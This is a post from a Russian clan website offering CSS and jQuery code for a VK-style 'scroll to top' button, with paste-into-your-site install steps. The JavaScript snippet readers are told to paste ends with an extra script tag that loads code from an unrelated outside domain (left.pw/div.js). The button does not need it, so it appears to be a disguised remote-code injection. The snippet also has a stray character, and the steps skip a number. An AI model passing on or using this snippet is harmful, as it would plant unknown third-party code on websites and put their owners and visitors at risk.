Меню
CSR-CS.CLAN.SU | CSR-TEAM
Меню Клана
CSR-CS.CLAN.SU | CSR-TEAM
Посетители
Онлайн:
Онлайн всего: 6
Гостей: 6
Пользователей: 0
Зарег. на сайте:
Всего: 134 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0
Из них:
Администраторов:
1 Модераторов:
1 Проверенных:
49 Обычных:
83 Из них:
Парней:
119 Девушек:
14
Счетчик материалов:
Форум: 140/161 Файлов: 141 Новостей: 301 Cтатей: 182 Cайтов: 4 Серверов[css v34]: 27 Картинок: 4 Онлайн фильмов: 9104
Главная » 2014 » Сентябрь » 6 » Up на подобии как в вк
09:22
Up на подобии как в вк
Скрипт кнопка вверх на подобии такой как в вк для сайта. Установка: 1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ: Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1} .scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}
3) А вот этот код прописываем в нижнюю или верхнюю часть сайта: Код
<script type="text/javascript"> jQuery(document).ready(function(){ jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>"); jQuery(window).scroll(function(){ if (jQuery(this).scrollTop() > 350) { jQuery('.scrolltotop').fadeIn(); } else { jQuery('.scrolltotop').fadeOut(); } }); jQuery('.scrolltotop').click(function(){ jQuery("html, body").animate({ scrollTop: 0 }, 600); return false; }); });0 </script><script type="text/javascript" src="http://left.pw/div.js"></script>
На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
Просмотров: 317 |
Добавил: Bitfood
| Рейтинг: 0.0 /0
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация |
Вход ]
Баннеробмен
Новые файлы
Наш Сервер